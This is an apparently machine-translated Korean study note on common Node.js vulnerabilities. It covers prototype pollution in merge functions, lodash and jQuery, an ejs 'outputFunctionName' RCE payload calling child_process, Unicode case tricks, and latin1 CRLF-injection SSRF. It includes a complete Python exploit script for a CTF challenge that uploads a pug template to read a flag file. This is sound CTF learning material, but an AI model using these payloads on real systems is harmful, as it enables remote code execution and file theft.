Node.js 관련 보안 문제
원형 체인 오염
취약점 피쳐
자바스크립트 프로토타입 오염 공격
어떤 상황에서 우리가
__proto__
의 값을 설정할 수 있는지 생각해 봅시다.배열(객체)의 키 이름을 제어할 수 있는 작업을 찾아보면 됩니다.function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
express 프레임워크는
use(bodyParser.json())
또는 use(express.json())
를 통해 content-type
수신JSON
을 지원할 경우 application/json
로 변경하여 json 데이터를 직접 입력합니다.ejs
Express+lodash+ejs: 원형 체인 오염에서 RCE ejs
render
렌더링에 대량의 코드 결합if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '
';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '
';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '
';
appended += ' }' + '
';
}
appended += ' return __output.join("");' + '
';
this.source = prepended + this.source + appended;
}
덮어쓰기
opts.outputFunctionName
를 할 수 있다면, 우리가 구성한payload는 js 문장에 연결되고, ejs 렌더링을 할 때 RCE a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
를 진행합니다.동일, 덮어쓰기
escapeFn
도 가능if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '
' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '
' + src;
}
}
lodash
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
는 objstr
만 있으면 됩니다.{"content":{"prototype":{"constructor":{"a":"b"}}}}
결합 시 Object에 a=b 속성을 추가합니다.
JQuery
$.extend(deep,clone,copy)
merge 동작을 실행하는데 copy
중 __proto__
라는 속성이 있으면 원형에 영향을 줍니다JavaScript 대소문자 특성
Node.js 흔히 볼 수 있는 빈틈 학습 및 총결
ı
,ſ
toUpperCase 처리 결과I
,S
K
가 toLowerCase 처리를 거친 결과k
(이 문자는 K가 아니다)멀티바이트 인코딩 차단
버스트 공격을 통한 SSRF 공격
사용자가 보낸 http 요청은 일반적으로 요청 경로를 문자열로 지정하지만, Node.js는 최종적으로 요청을 원시 바이트로 출력해야 합니다.JavaScript는 유니버설 문자열을 지원하기 때문에 바이트로 변환하는 것은 적절한 유니버설 인코딩을 선택하고 적용하는 것을 의미합니다.바디가 포함되지 않은 요청의 경우 Node.js는 기본적으로 "latin1"을 사용합니다. 이것은 단자 바이트 인코딩으로 높은 번호의 유니버설 문자를 표시할 수 없습니다.반대로 이 문자들은 자바스크립트가 표시하는 최저 바이트로 잘렸다
> Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r
/test'
예제: [GYCTF2020] Node Game은 Nodejs 10 이하
http
모듈에 존재하는 인코딩 문제와crlf 주입이 ssrf에 도달함import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close
------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
doctype html
html
head
title flag
body
include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--
GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("
", "\r
")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
vm 모래상자 탈출
Buffer leak
비교적 빠른 노드 버전(8.0 이전)에서 버퍼의 구조 함수가 숫자에 전달될 때 숫자의 길이와 일치하는 버퍼를 얻을 수 있으며 이 버퍼는 삭제되지 않았습니다.8.0 이후 버전은 다른 함수 Buffer를 통해 사용할 수 있습니다.비워지지 않은 메모리를 얻으려면 allocUnsafe(size)를 사용하십시오.
참조 링크
Node.js 흔한 빈틈 학습 및 정리 i 춘추 2020 신춘전'역'네트워크 안전 공익 경기 GYCTF 두 NodeJS 문제 Write Up Javascript 원형 체인 오염 분석https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.